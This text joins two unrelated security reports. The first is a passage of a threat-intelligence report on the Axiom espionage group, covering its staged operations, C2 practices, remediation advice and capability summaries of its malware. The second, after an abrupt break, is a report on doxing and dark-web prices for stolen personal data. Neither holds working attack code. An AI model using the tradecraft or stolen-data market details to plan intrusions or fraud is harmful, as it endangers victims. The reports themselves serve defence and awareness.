Based on observed victim environments infiltrated by Axiom, Novetta believes that there are at least six separate tiers of responsibilities that service different stages of the victim lifecycle. Axiom, for its part, largely conducts operations in later stages of the overall victim compromise. Currently, we believe that the victim lifecycle is split into the following stages:
- Stage 0: Target identification and reconnaissance
- Stage 1: Initial access, validation, and internal target reconnaissance
- Stage 2: Lateral movement, and creation of additional footholds
- Stage 3: Compromised infrastructure creation and grooming
- Stage 4: Stealthy identification and exfiltration of targeted data
- Stage 5: Maintain access and understanding of environment
The level of sophistication seen by this multistage life cycle implies a number of things about the adversary’s ability to command resources and coordinate within itself. It is this structure and coordination that truly sets Axiom and its associated groups apart from other actors in this space.
## Structure of Adversary
We also assess that different groups associated with the Axiom threat actor group likely perform various phases. This deduction is supported by the number of differences in the observed activity during these compromise stages which suggest a number of separate teams with varying responsibilities during their operation lifecycle. For instance, examinations of differences in command and control (C2) and midpoint proxy infrastructure displayed by the Stage 1, Stage 2, and Stage 4 binaries have led us to believe that the operational tempo, security policies, and acceptable risk levels are drastically different. This coordination of different operators, infrastructure, and tools between stages in the same environment suggests a common operating picture within a large organization.
It cannot be overstated that the operational timelines observed imply that Axiom and other stage operators operate with a cohesive long-term strategic goal. The ability of any organization to consider strategic objectives over a multi-year period implies that the organization both believes that their operations will have far-reaching effects, and that the organization itself will exist for an extended time. Extended operations require meaningful resources, both in terms of financial capital (salaries), as well as physical resources (money for VPSs and traditional server infrastructure), as well as a logistic overhead for coordinating, planning, and researching attack vectors, creation/purchasing and distribution of 0-day exploit code and associated exploit frameworks, and campaign coordination between subgroups.
Finally, threat actors at all the described stages, including Axiom, display a clear level of discipline in using their compromised resources. There is no meaningful level of information leakage due to resource access, or due to visiting personal websites with these resources. While this level of discipline has been observed outside of governmental organizations and funded operations, it displays a level of familiarity with investigative and forensics operations that clearly sets them apart from the less sophisticated threat actors.
## Command and Control (C2) Infrastructure
The infrastructure practices of these linked groups often change depending on the current stage of operation as well as the intended target, ultimately culminating in Axiom operations. A good example would be the watering hole attacks observed targeting Japanese entities in 2013. Because broad-spectrum watering hole attacks are widely noticed and reported on, Stage 1 operators appear to have heavily segregated their infrastructure from the infrastructure used during later stages of operation in order to better evade detection.
Operation SMN partners have a great deal of insight into the network characteristics and C2 of the Stage 2 tools and techniques (i.e., Derusbi, Hydraq, DeputyDog) which serve as secondary persistence and lateral movement tools. Here, unlike Stage 1, the tools frequently reuse infrastructure and other resources, and there is even some historical overlap between second-level domains used by the Stage 2 actors and the Stage 4 operators (Axiom). Passive DNS analysis has demonstrated that the linkages between Stage 2 and Stage 4 C2 domains are indirect, but present, establishing a possible link between the stages. Unlike other threat actors, operators of all stages, particularly from Stage 3 onwards, take operational practices and security seriously. There was no observed activity outside of campaign activity on the identified operational infrastructure across 76 unique Stage 4 campaigns.
For Stage 3 and 4 operations, Axiom is believed to have established a complex C2 infrastructure, which, based on campaign identifiers extracted from configuration files embedded in Hikit binaries, has been used to manage at least 76 unique campaigns that this operation has discovered. Operation SMN partners believe that many more organizations have been affected by Axiom, but are currently unaware of any compromise due to Axiom’s hyper-targeting and stealth at this stage of activities. We hope that by highlighting some of Axiom’s techniques, tactics, and procedures we will increase the visibility of this group for awareness and detection.
The curated infrastructure that appears to be used strongly suggests that the Axiom actors are given the capacity and mandate to target and develop long-term strategic assets. Within observed compromises, Axiom actors have been seen performing complex actions with their C2 infrastructure during the Stage 4 operational cycle. Configuration files extracted from Hikit binaries indicate that C2 callback locations are tailored to the specific country and network environment in which the target resides. C2 domains will consistently be named and hosted in such a way that traffic appears legitimate, likely in an effort to fool network security operators of target organizations. Axiom and its linked groups have been known to conduct extensive research prior to compromising a target in order to determine ideal hosting locations.
## Remediation
Currently, organizations that wish to protect themselves from the malware that Axiom has been observed using should download and utilize the latest MSRT release. This tool has been verified to provide protection against malware families that Axiom favors and is freely available to all Microsoft installations. It is suggested that enterprise organizations push out and execute MSRT on a monthly basis. Additionally, all members of the Operation SMN group have up-to-date signatures and heuristics for detecting the Axiom malware families, as well as any vendors involved in Microsoft’s VIA program.
It is strongly advised that organizations seeking protection from Axiom avoid the temptation of solely deploying network-based signatures. Because Axiom continually creates new C2 infrastructure for each new target and can quickly transition to new malware tooling, it is very unlikely that existing network IOCs will offer any meaningful level of protection for organizations whose infections are new or previously undiscovered.
Network operators can and should learn from the Axiom group’s tradecraft; security teams and IT staff should be especially wary of any traffic going to destination servers that does not match the apparent intent of these servers. For example, large data transfers moving towards DNS nameservers on port 53 with no observable DNS content that are associated with known or related partners should be viewed as suspect. Hikit’s usage of internally routed proxy nodes can complicate this task, and only advanced network analytics that includes a holistic view of internal and external network traffic can provide anything near 100% certainty. Network boundaries of all types should be monitored. If an internal network can route from restricted zones to ones of lower restriction, it should be monitored for data exfiltration in the same manner as a traditional border network. Above all, there is absolutely no substitute for continued vigilance -- by the time Hikit is installed on a victim’s infrastructure, the operation is in its final stages, and the attackers generally have free reign over the victim network.
Enterprises are advised that while Axiom represents an advanced attacker, their power comes from their discipline and logistics. Ultimately, the removal of common “low hanging fruit” in network and endpoint security will go far to prevent Axiom from easily accessing networks. Additional suggestions for protection against Axiom’s attacks would be:
- Block or sinkhole the DNSPOD name servers. DNSPOD seems to be the preferred provider for DNS services for Axiom, and many organizations can block these resources without adverse effect on business needs.
- Install and execute Microsoft’s EMET on endpoint machines, and configure it to your environment.
- Globally edit Windows policies to disable the “Sticky Keys” functionality.
- Restrict all remote access (RDP, SSH, Citrix, VPN, etc.) and ensure that this access is only given to people that need it versus by default for the whole company; wherever possible, implement two-factor authentication for any remote access.
- Keep strong monitoring on VPN endpoints -- Axiom has demonstrated the ability to enter networks after compromising VPN client user credentials.
- Two-factor protection to webmail services should be added where possible.
- Ensure that local administrative accounts are not universal across your network, as a single compromise can bring the security of the entire network into question. Ensure that local firewalls are configured and restrict access to both servers and workstations to only those subnets and users that require it.
- Implement application whitelisting to prevent execution of unauthorized executables -- Microsoft AppLocker, Bit9, and other third-party solutions are all improvements over default installations without whitelisting.
- Encrypt email where possible, even between internal users.
- Ensure antivirus software is reporting to a central, monitored location. Axiom’s binaries can flag AntiVirus rules that end up ignored, a security failing that they rely on.
- Ensure proper auditing and review of security firewall rules, antivirus updates, IDS signatures, and other security controls. Axiom actors during active compromises have been observed to disable key signatures or rules to force victim organizations to lose visibility.
- Apply security patches in a timely manner. While Axiom does make use of 0-day vulnerabilities, the group has also used disclosed, patched vulnerabilities that are found on outdated systems in a target’s network.
- Reference information provided by the FBI in their FLASH report - additional remediation information and suggestions are included.
## Kudos
Operation SMN and the subsequent actions taken by the group members could not have occurred without the generosity and talent of several organizations. While the publicly acknowledged members of the group made critical contributions, there are other firms that were critical to the findings contained in this report. Their datasets, services, and software allowed coalition members to construct a substantially stronger case than would have been otherwise possible. Farsight Security generously provided Novetta with unrestricted access to their historical passive DNS dataset, allowing analysts to investigate the C2 infrastructure used by Axiom over a wide window of time. Endgame provided Novetta with extensive proprietary threat data and analytical processing capabilities allowing Novetta to gain a deeper insight into compromised network footprints. Novetta would also like to thank those organizations and individuals who quietly contributed to the content covered in this report.
## Appendix A: Malware Key Findings
In the case of Axiom, the actors will utilize an array of capabilities, some more unique than others, for various phases of their exploitation operations. The following capabilities are a general list of the backdoors leveraged by this threat:
- Poison Ivy
- Gh0st Rat
- PlugX
- ZXShell
- Hydraq/9002 RAT
- DeputyDog / Fexel
- Derusbi
- Hikit
- ZoxFamily (ZoxPNG, ZoxSMB, etc)
### Hikit Generation 1
**Capability Features:**
- File management: upload and download
- Remote shell
- Network tunneling (proxying)
- Ad-hoc network generation (connecting multiple Hikit infected machines to create a secondary network on top of the victim's network topology)
- No config stored in sample, no command line parameter passing of C2 (listens for magic bytes)
**Interesting Facts:**
- Relies on a NDIS (network) driver to communicate between the network and the malware
- The infected machine acts as the server while the controlling machine is the client, therefore at least one Hikit infection must be on an internet-facing machine
- Contains no configuration information at all
- The NDIS (network) driver is a mixture of several open-source pieces of code, most notably the passthru NDIS driver example from a 2003 blog.
- The client authenticates to the server at the NDIS driver layer by providing a specific set of strings that mimic HTTP requests
- Authors routinely forgot to remove the PDB strings revealing at least two compile machines
- Earliest known variants from early 2011
### Hikit Generation 2
**Capability Features:**
- File management: upload and download
- Remote shell
- Network tunneling (proxying)
- Ad-hoc network generation (connecting multiple Hikit infected machines to create a secondary network on top of the victim's network topology)
**Interesting Facts:**
- Comes in 64-bit and 32-bit versions depending on the target's infrastructure
- 32-bit versions use a rootkit driver to hit the malware process, network endpoints, registry keys, and files.
- The rootkit is based heavily on the Agony rootkit which is open source
- Unlike Gen1, the malware acts as a client to the C2's server.
- Uses the same XOR encryption scheme as Gen 1
- Developmental overlap found between Gen 1 and Gen 2 (new Gen1 sample found during the Gen 2 time span)
- Has at least 5 known sub-generations with the Gen 2 lineage
- Spanning from late 2011 to 2013
### Zox Family
**Capability Features:**
- Basic file management: upload, download, create directory, list
- Write files, delete files, move files
- Enumeration of attached drives
- Process management: list processes, kill process by PID
- Ability to run arbitrary code from C2
- Remote shell
- Some samples appear to have exploit/spreading capabilities
**Interesting Facts:**
- Evidence suggests that Zox has variants dating back to at least 2008, and may have multiple generations, and may have evolved from a simple spreader into something a bit more RAT-like.
- Uses PNG file format as the carrier format for data to and from the C2
- The sample from 2008 uses SMB to communicate indicating it was originally a local exploitation tool instead of a remote tool
- Does not contain any C2 information as the attacker must provide the information at runtime via the command line
- Evidence in Zox family of tools suggests a focus on China, Taiwan, US/UK, Korean language sets for exploits offsets leveraged in spreading functionality.
- Was observed being leveraged by attackers via base64 encoded cab file that was then installed via a login script for a specific user. Very few samples have been found compared to all the other malware families the effort is tackling.
### Derusbi (Server Variant)
**Capability Features:**
- File management: upload, download, create directory, list files, enumerate entire folder trees, move files, delete files, rename files, get file attributes, mimic timestamps of other files (e.g., copying the timestamp of kernel32.dll to another file to allow for blending in)
- Derusbi may have a windows GUI component for the operator (based on file system behavior, and patterns of use).
- Remote shell
- Basic (limited) network proxying
**Interesting Facts:**
- Uses a 64-byte handshake of seemingly random data with four bytes specifically configured to act as the handshake
- The infected machine acts as the server while the controlling machine (the attacker's machine) is a client (the reverse of typical malware communication)
- Does not contain any configuration information related to the attacker's IP, only contains the campaign code
- Appears to be able to co-exist with other running services on the same port [unconfirmed, but speculated based on network capture evidence]
|
# Dox, Steal, Reveal: Where Does Your Personal Data End Up?
**Authors**
Dmitry Galov
Vladislav Tushkanov
Leonid Bezvershenko
The technological shift that we have been experiencing for the last few decades is astounding, not least because of its social implications. Every year the online and offline spheres have become more and more connected and are now completely intertwined, leading to online actions having real consequences in the physical realm — both good and bad.
One of the most affected areas in this regard is communication and sharing of information, especially personal. Posting something on the internet is not like speaking to a select club of like-minded tech enthusiasts anymore — it is more akin to shouting on a crowded square. This gives rise to many unique threats, from cyberbullying and simple financial scams to spear phishing and social engineering attacks on business executives and government officials. And while awareness of privacy issues is increasing, much of the general public still only have a basic understanding of why privacy matters.
Unfortunately, even if we take good care of how and with whom we share our personal data, we are not immune from being doxed. The abusers may be motivated enough to go beyond gathering data available in the public domain and turn to the black market in the hope of finding personal information that will do real harm, for instance, gaining access to social media accounts. In this report, we will dig deeper into two major consequences of (willing and unwilling) sharing personal data in public — doxing (the public de-anonymization of a person online) and the selling of personal data on the dark web — and try to untangle the connection between the two. We’ll also look at how these phenomena affect our lives and what challenges these conditions present to users.
## Key Findings
- Doxing is not something that only vulnerable groups or people with specific professions, such as journalists or sex workers, can be affected by. Anyone who voices an opinion online may potentially become a victim of doxing.
- Almost any public data can be abused for the purpose of doxing or cyberbullying with an unlimited number of ways users can be harmed by their own data.
- With increasing digitization of most aspects of our everyday lives, even more data is now shared with organizations and may end up in the hands of criminals. This now includes personal medical records and selfies with personal identification documents.
- Access to personal data can start from as low as US$0.50 for an ID, depending on the depth and breadth of the data offered.
- Some personal information is as much in demand as it was almost a decade ago – primarily credit card data and access to banking and e-payment services. The cost of this type of data has not fallen over time and that is unlikely to change.
- Data sold on dark market websites can be used for extortion, executing scams and phishing schemes and direct stealing of money. Certain types of data, such as access to personal accounts or password databases, can be abused not just for financial gain but also for reputational harm and other types of social damage including doxing.
## Unwanted Spotlight: Doxing
The increasing political and social division of recent years combined with a perceived anonymity exacerbates some of the corresponding social dangers on the internet, such as trolling and cyberbullying. And at the intersection with privacy threats there is the issue of doxing.
### What is Doxing?
Historically, doxing (also spelled doxxing) meant de-anonymizing a person on the internet, especially in early hacker culture, where people preferred to be known by their nickname (online handle). The meaning has evolved, however, to have a broader sense. Doxing is, in a way, a method of cyberbullying. It occurs when a person shares some private information about another person without their consent to embarrass, hurt or otherwise put the target in danger. This can include sharing:
- Embarrassing photos or videos
- Parts of private correspondence, probably taken out of context
- A person’s physical address, phone number, private email address and other private contacts
- Occupation and job details
- Medical or financial data, criminal records
**Example:** An example of a threat of doxing in this classic sense is the story of the anonymous blogger Slate Star Codex, who claimed that a New York Times journalist insisted on publishing his real name in a piece about him. This prompted the blogger to delete his blog. Luckily, the newspaper seems to have abandoned the idea.
Doxing also includes cases when data about the victim is already publicly available, but a perpetrator gathers and compiles it into an actionable “report”, especially if also inciting other people to act on it. For example, if a person voices an opinion on a divisive issue in a post on a social network, throwing in their phone number in the comments and suggesting people should call them at night with threats is still doxing, even if the phone number is available online in some database or on some other social network.
**Example:** A journalist from Pitchfork, a US music outlet, received numerous threats on Twitter including suggestions to “burn her house” after her phone number and home address were published by Taylor Swift fans who were unhappy about a review of the singer’s latest album that wasn’t positive enough.
### Why is Doxing Dangerous?
Compared to the physical world, information on the internet can spread very quickly and is almost impossible to remove once posted online. This makes doxing even more harmful. The most common goal of doxing is to cause a feeling of stress, fear, embarrassment and helplessness. If you are caught in a heated argument on Twitter, and somebody posts your home address and suggests that people should hurt you, it naturally causes anxiety. Threats can also be directed at your relatives. The real danger, however, comes if someone decides to actually carry out the threats, which means doxing also threatens your physical safety — something that happens more often than you would think.
Besides posting your information online for everyone to see, attackers can share it in a targeted way with your relatives, friends or employer, especially if it is embarrassing. This can harm the victim’s relationships with their loved ones, as well as their career prospects.
**Example:** After a service for finding people using only a photo gained popularity in VK, a popular social network in Russia, it was used to de-anonymize women who starred in porn movies or worked in the sex industry. The perpetrators specifically suggested sharing this information with their relatives. One of the victims was a school teacher who eventually lost her job.
### Doxing Scenarios
How can you be doxed? These are some common scenarios and how they can harm the victim:
- Identifying the user and sharing information directly with their employer, which results in the person getting fired due to social pressure
- Leaking intimate photo and video content of a user to the public — an activity that is often called ‘revenge porn’ is a widespread method of attacking one’s privacy with malicious intent that can have significant consequences for the victim
- Revealing the identity of anonymous bloggers, internet users, opinion leaders and creators, which can lead to real danger if the victim is in a hostile environment, for instance, opposition bloggers in certain countries or a person who supports unconventional views
- Outing the person and providing their personal details in the media when this information does not serve the public interest and may directly harm the person
- Gathering and sharing information about the account of a specific person (the potential victim) featured in sensitive or questionable content with hostile groups or accounts that may engage in online or even offline violence against that person
### Social Impact
Doxing is a very pressing matter in times of increasing social and political division. Doxing, as well as the threat of doxing, hampers freedom of speech and produces a chilling effect. It prevents people from voicing their opinions, which is harmful to democracy and healthy social debate.
Some people are more likely to be victims of doxing. Journalists, bloggers, activists, lawyers, sex industry workers, law enforcement officers all run a higher risk of being doxed. For women, doxing goes hand in hand with sexualized verbal abuse and threats. For law enforcement officers, it also means direct danger for their physical safety, especially for undercover officers. This can lead people to abandon their jobs.
High-profile internet personas are more at risk than average users. It doesn’t mean that “ordinary” people are safe from doxing. Having said something online or done something on camera that “upsets” a large group of people can randomly attract excessive attention from online crowds and turn your life into a nightmare — even if you never actually said or did it in the first place.
**Example:** Tuhina Singh, a CEO of a Singapore company was doxed: her phone number and private email address were published online, resulting in insults and threats. Reason? She was misidentified as a woman from a viral video, refusing to put on a mask amidst the coronavirus pandemic.
## The Darknet Database: How Much Do You Cost?
Doxing is the result of abusing information that is available in the public domain and not used for financial gain. However, the threats to personal data and, hence, personal safety, do not end there. Aside from the publicly available data that we freely share and that can be gathered by anyone and used for malicious purposes, the organizations we share our data with don’t always handle it responsibly.
By definition, we do not expect this information to leak out into the public and even if it does, do not anticipate that it might harm us. According to recent research by Kaspersky, 37% of millennials think they are too boring to be the victim of cybercrime. The number of massive data leaks hit a new high this year and we no longer get surprised by yet another company being hacked and their customers’ data being leaked or used in ransom demands.
Efforts to better protect personal data are being made in a variety of countries, with governments imposing new directives to ensure protection and penalize irresponsible management of citizens’ data. New personal information protection directives such as the General Data Protection Regulation (GDPR) in the EU and Brazilian General Data Protection Act (LGPD), as well as increasing customer scrutiny towards data handling practices, have forced organizations to improve their security and take the data leakage threat more seriously.
However, that doesn’t mean the data is safe. In some cases, stolen data is used for ransom practices, in others it is published out in the open. Sometimes it is a mix of both: threat actors who employed the Maze ransomware published stolen data if they did not succeed in getting the ransom money. But most of it ends up on the dark web as a commodity, and a very accessible one. Darknet forums and markets, essentially marketplaces for illegal physical and digital goods, are used by cybercriminals to sell services and products, from malware to personal data.
## Methodology
For the purposes of this research we analyzed active offers on 10 international darknet forums and marketplaces that operate in English or Russian. The sample included posts that were shared during the third quarter of 2020 and that are still relevant.
## Research Findings – How Much Do You Cost?
Covering all types of personal data offers on the dark web would turn this report into a short book, so it focuses on just some of the most popular categories available on dark markets. However, it is important to mention that the types of databases leaked and then sold on the dark web vary, which is unsurprising considering they are stolen from different institutions and organizations. Leaked databases can be cross-referenced and this way made even more valuable, as they present a fuller picture of a subject’s personal details. With that in mind, let’s dig into what is out there in the shadows that cybercrooks might have on you:
- **ID card data:** $0.5 – $10
Identity documents or ID cards are the main means of identification in most countries, including the US and throughout Europe. Usually they are tied to the most important services, especially state services and contain sensitive information such as social security number (SSN) in the US. Though important, the cost of these documents on the black market is not that high and depends on how full the information is. For instance, information with a full name and insurance number will cost as little as $0.50 per person, while the price for a ‘full pack’ including ID number, full name, SSN, date of birth (DOB), email and mobile phone can reach up to $10 per person. The price also varies depending on the size of the purchase – data sold in bulk is cheaper per unit.
- **Passport scans:** $6 – $15
Passports are another type of identification document that are popular with cybercriminals. In some countries such as Russia, Ukraine and other former Soviet states they are used instead of IDs and are required to receive pretty much any government-related or financial service – from filing a complaint in a shop to taking out a loan. In other countries, passports can also be used for identification on international platforms such as cryptocurrency exchanges – or for international fraud. This is the reason passport scans go around the web quite often – think of how many times you have uploaded a copy of your passport to some service, sent it to an organization or allowed them to scan it themselves. Passport scans are more expensive than identification details with prices varying from $6 to $15 depending on the quality of the scan and the country of origin. Typically, there are two types of passport scans sold – a scan of the first page which, understandably, is cheaper than a scan of a full passport.
- **Driver’s license scans:** $5 – $25
Driver’s licenses are another type of identification document that is in demand in the shadows, primarily due to the growing number of services that one can register for using a driver’s ID. Typically, the information sold on forums includes a scan of the license with full information. Varying in price from $5 to $25, these can be used by cybercriminals for car rental, as an ID for local services or insurance fraud.
- **Selfie with documents:** $40 – $60
Have you ever taken a selfie with your passport or ID? User identification is taken more seriously these days with organizations adhering to so-called know-your-customer (KYC) programs that require identity verification for various operations. For instance, cryptocurrency exchanges employ this practice to prevent money laundering by getting people extracting funds to confirm they are who they say they are. Social networks require selfies with documents when users need to recover access to their account and bank employees take pictures like these when delivering credit cards to clients’ homes. Using stolen passport or ID selfies allows fraudsters to bypass KYC guidelines and continue to launder money. These documents can also be used for a whole variety of services – from car rentals to getting micro-loans or manipulating insurance companies. Such documents allow cybercriminals to enter the cache or execute their schemes, and even blackmail the people identified in these documents. As a result, this data is very valuable, varying from $40 to $60 per person.
- **Medical records:** $1 – $30
The world is becoming more digitized along with certain aspects of our lives that we never thought would go online. Take medical records, for instance – cybercriminals have laid their hands on them too. Looking back to 2012, when we analyzed different types of data available in the darknet, medical data was not even a thing. Now, however, this data is in demand as it can be used for a whole variety of fraudulent activities from obtaining health insurance services to purchasing regulated drugs. It can also be used to demand ransom. Recently, for instance, Vastaamo, a Finnish mental health organization, was hacked and the data of their patients, including children, stolen and later exposed on dark web markets, with at least two thousand patients affected. The hackers initially demanded a ransom payment to delete the information, but then switched their attention directly to the patients. Leaks of medical information can become very unpleasant as they put the victims who are already vulnerable into an even more vulnerable position. The type of data shared on the darknet varies from a medical form with a full name, email, insurance number, and the name of the medical organization to a full medical record of a patient – with their medical history, prescriptions and more.
- **Credit card details:** $6 – $20
Credit card details fall under the category of most basic information stolen and used by cybercriminals. Full credit card information including the name, number and CVV code can be used to withdraw funds or purchase goods online and is valued from $6 to $20 per unit. Back in 2012, our evaluation put the price at $10. On average, the cost is more or less the same. The price for such data is dictated by the country of origin, the bank and more importantly, on how large the purchase is, with ‘better’ value with larger volume purchases. Of course, new anti-fraud banking systems are making life harder for cybercriminals, forcing them to constantly come up with new ways to cash out. Nevertheless, with credit card details being the starting point for most of these schemes, they are nowhere near becoming outdated.
- **Online banking and PayPal accounts:** $50 – $500
Another type of financial data is online banking access and PayPal account information. Both provide direct access to the funds of the victims with PayPal being a sweet spot for the cybercriminals who want to launder their money and withdraw it without any security checks. Access to online banking is generally valued at between one and 10 percent of the funds available in the account, while PayPal accounts cost from $50 to $500 depending on the available credit and previous user operations.
- **Subscription services:** $0.50 – $8
In the world of subscription-based entertainment, access to popular streaming, gaming or content platforms is in high demand. While little personal information is given away, losing access to one’s account on Netflix, Twitch or PornHub is not something that anyone would enjoy. Stolen subscription service credentials are not only sold on only in the dark web – they can be found in some shady regular forums too. The dark web usually has offers to purchase access details in bulk, which can later be sold individually to multiple customers. The price for access to such services varies from 50 cents to $8.
### How Much Does Your Data Cost?
- **Credit card details:** $6 – $20
- **Driver’s license scans:** $5 – $25
- **Passport scans:** $6 – $15
- **Subscription services:** $0.50 – $8
- **ID (full name, SSN, DOB, email, mobile):** $0.50 – $10
- **Selfie with documents (passport, driver’s license):** $40 – $60
- **Medical records:** $1 – $30
- **Online banking account:** 1-10% of value
- **PayPal accounts:** $50 – $500
### Password Databases
Leaks of password databases are among the most widespread data leaks. From retail loyalty cards to logins for banks, such databases have been appearing on the dark web and even on the normal web for years, and they have a tendency to be leaked into the public domain, requiring very small payments to access them, or sometimes access to the data is entirely free. While these databases are outdated for the most part, they still represent a real danger. Users tend to use the same passwords across a number of platforms and accounts, often tying them all to the same email. Picking up the right password for a specific account is often a matter of time and effort, and as a result, users are at risk of having more of their data compromised – from their social network accounts to their personal email or private accounts on adult websites. Access to other accounts can later be resold (as in the case of subscription services) or used for blackmail or scam.
Certain services aggregate leaked passwords and enable paid subscription-based or single time access to their databases.
### Unauthorized Access to Email and Social Media: $400 – $800
With so much personal data available for sale, one may wonder whether purchasing access to someone’s email or social network account is also as easy as obtaining IDs. The darknet operators do indeed offer to hack into specific accounts or emails, charging from $400 per account. However, the methods employed by those who offer such services are rather basic – they can only go as far as trying to guess the password or checking the account against existing leaked databases or executing social engineering attacks to get the user to reveal their password. Increased security of social media and email services has also made these practices less successful with double authentication and various other security measures protecting users better than before. As a result, most of these kinds of offers on dark markets are, ironically enough, actually scams against other cybercriminals.
Nevertheless, this doesn’t rule out the possibility of real targeted account hacking – more covert, technically complex methods are employed by experienced actors and these services usually cost a lot. For instance, the actor may identify a specific email of the potential victim, send a spear-phishing email prompting the target to download malware that will be able to collect information about the passwords and ultimately gain access to the targeted accounts. These services, however, are extremely expensive, time consuming and are usually executed by advanced threat actors against priority targets.
## Key Takeaways
In the course of this research we have witnessed a number of trends relating to stolen and repurposed personal data. Some personal information remains as much in demand as it was almost a decade ago – primarily credit card data and access to banking and e-payment services. The cost of this type of data has not fallen over time and that is unlikely to change. Another big change is the type of data now available for sale. With the digitization of medical institutions, personal medical records traditionally categorized as very sensitive information became available for the public and cybercriminals to use and abuse for financial gain. The current development and spread of telemedicine in the world is unlikely to decrease this trend, although, we hope that after recent cases such as the Vastaamo hack, medical organizations will approach data collection and security with greater responsibility.
The growth in the number of photos of people with documents in their hand and various schemes exploiting them also reflects a trend in the cybergoods game and indicates that any data shared, even with organizations, can potentially end up in the hands of cybercrooks and abused for the purposes of financial gain. The repercussions of such data abuse are very real for the victims as they will have to deal with the loans taken out in their name or services used on the basis of their identity.
At the same time, there is some good news when it comes to the safety of personal accounts and gaining access to specific emails and social media accounts. With improved security measures employed at the industry level, targeting and hijacking a specific individual’s account is very costly, and in most cases, not doable. In this sphere there is evidence of an interesting dynamic of cybercriminals scamming each other, with most cybercrooks unable to deliver what they advertise. That does not, however, eliminate the threat entirely: provided they have the funds and their order is big enough, the criminals may still be able to buy what they want.
The overview of the types of data available on dark markets suggests that at least some of the offers might be of interest to especially determined doxers. While we believe that such cases are unlikely due to their cost right now, things might change depending largely on the determination of the abusers to dox an individual.
## Protecting Your Data and Yourself
With our ever-growing online presence and footprint, it is almost impossible to be completely anonymous online. A determined person with some computer skills, especially if they have access to privileged information (say, a private investigator or a law enforcement officer), will find at least some data about you given enough time.
**Example:** Kevin Mitnick shares a story in his book “The Art of Invisibility” about how he managed to find out the SSN, city of birth and the mother’s maiden name of a reporter who thought she had a very minimal online presence (he did it with her consent). To do so, he used his access to a specialized web resource for private investigators. People who usually enjoy privacy can also be tracked to their homes if you have specific data: a geolocation dataset from a marketing company obtained by the New York Times in 2019 showed the GPS location over time of senior US government officials, policemen and even acquaintances of Johnny Depp and Arnold Schwarzenegger.
This means that online privacy is almost always about assessing the risks that you face and taking appropriate measures to mitigate them. If you think you might anger a few low-caliber online trolls with a tweet, it is enough to hide your email address from your social network profile. If you are a political reporter covering extremist movements, you need more control of your digital footprint. Below, we describe a few basic steps that will be sufficient against doxing for an average internet user.
### Know What They Know
The first thing to do if you want to protect yourself against doxing is to research what the Internet knows about you. Try googling your name, combine it with some other data about you such as your place of residence or year of birth to narrow down the results. Try searching for your online handles and emails as well. If your name is not very popular, you can even subscribe to notifications from Google in case it pops up somewhere on the web.
Apart from Google, there are so-called people search engines such as BeenVerified that allow background checks to be conducted on people using open web data or government records. Publishing this kind of information online might be illegal depending on the country, so availability of such websites differs in various jurisdictions.
If you have public social media profiles, review the posts. Check if they contain geotags with places that you frequent, such as your home or office, or photos that can reveal their location. Of course, not all photos are dangerous, but the more specific they are, the more risk they carry. Scout your older posts for some more private data, such as names of your family members. If you have a private profile, check if you actually know all the people in your friend list.
Remember that, besides social networks per se, there are many other applications that have a social component and can reveal information about you, ranging from languages that you learn to your level of sexual activity. Pay special attention to apps that record some sort of geodata, such as fitness tracking applications. Check that your account in such apps is private.
**Example:** In 2018, a security researcher noted that there were spots with a high level of activity in a dataset of user activity in Strava, a fitness app, in the Middle East. These spots, cross-referenced with Google Maps, gave away the location of US military bases in the region.
Finally, check if your data was leaked in data breaches. Leak monitoring is usually built into password managers and web browsers, but you can also use a dedicated service like HaveIBeenPwned. If your email is found in a leak, you can assume that any other information from the breached info is available somewhere (e.g. your home address if the breached service is a web store, or your favorite running routes if it is a fitness tracker).
### Remove What You Can
If you think that the information about you on the internet can be used against you, try to get rid of it. In the case of social networks, it is usually relatively easy: you either remove the posts with private data or make your profile private.
With other websites, check if you can just remove or disable your account. Otherwise, check if the website has a complaint or information removal form and use it. If not, try to contact the administrators directly. If your jurisdiction has strict data privacy laws, such as GDPR or CCPA, it is easier for a service to just remove your data than face a regulator and the threat of huge fines.
If some information is impossible to remove from the source, you can ask the search engine to remove links to websites containing your private data from search results by exercising the so-called right to be forgotten. Whether you can do so depends on the search engine and jurisdiction.
**Example:** One of our researchers uses a smart watch with an application that traces his physical activity and helps him monitor his progress when jogging. One day he was approached by another runner that he didn’t know. Turns out the guy knew his name and where he runs – all thanks to this application, which did not only track his data but also shared it in its internal social network. While this strange occurrence didn’t result in any harm and the intention of the application was to help fellow runners meet each other, it is clear how knowledge of someone’s location and regular jogging route could be used against them – possibly by less friendly strangers.
### Protect Yourself
Doxing is most devastating when the data being published is private, i.e., cannot be found on the internet. An adversary can obtain this data by hacking into the accounts and services that you use. To minimize the risks of being hacked, follow these simple rules:
- Never reuse your passwords across accounts. Use a unique password for each account and a password manager to store them.
- Protect your devices with fingerprint/face scan or with a PIN or password.
- Use two-factor authentication. Remember that using an application that generates one-time codes is more secure than receiving the second factor via SMS. If you need additional security, invest in a hardware 2FA key.
- Beware of phishing email and websites.
If you are ready to invest a bit more effort into protecting your privacy, here are some additional ways to protect your personal information or check if your passwords or data have become compromised without your knowledge:
- Think twice before you post on social media channels. Could there be unforeseen consequences of making your views or information public? Could content be used against you or to your detriment now or in the future?
- To make sure people close to home, including family, friends or colleagues, can’t access your devices or accounts without your consent, never share passwords even if it seems like a good idea or convenient to do so. Writing them on a sticky note next to your screen might be helpful for you, but it may also help others to access things you don’t want them to.
- Ensure you always check permission settings on the apps you use, to minimize the likelihood of your data being shared or stored by third parties – and beyond – without your knowledge. You might end up giving consent by default, so it is always worth double-checking before you start using an app or service.
- There is no substitute for strong and robust passwords. Use a reliable security solution like Kaspersky Password Manager to generate and secure unique passwords for every account, and resist the temptation to re-use the same one over and over again. Password managers also allow personal data to be stored in an encrypted private vault where you can upload your driver’s licenses, passports/IDs, bank cards, insurance files and other valuable documents and manage them securely.
- To find out if any of the passwords you use to access your online accounts have been compromised, use a tool such as Kaspersky Security Cloud. Its Account Check feature allows users to inspect their accounts for potential data leaks. If a leak is detected, Kaspersky Security Cloud provides information about the categories of data that may be publicly accessible so that the individual affected can take appropriate action.
### When It Is Too Late
If you have fallen victim to doxing, you can try to contact the moderators of the website where your data was leaked or flag the posts with your data on the social network to have it removed before the information spreads.
Note that usually the goal of doxers is to cause the victim stress and psychological discomfort. Do not engage with trolls, make your accounts private and seek comfort with your friends, relatives and offline activities. It takes a short time for an online mob to give up on their victim and move on if you do not give them additional reasons to attack you.
However, if you receive threats or fear for your physical safety, you might want to contact law enforcement. In this case, remember to document what is going on, for example screenshot the threats, to provide law enforcement officers with additional evidence.
## To Sum Up: Take Good Care of Yourself and Your Data
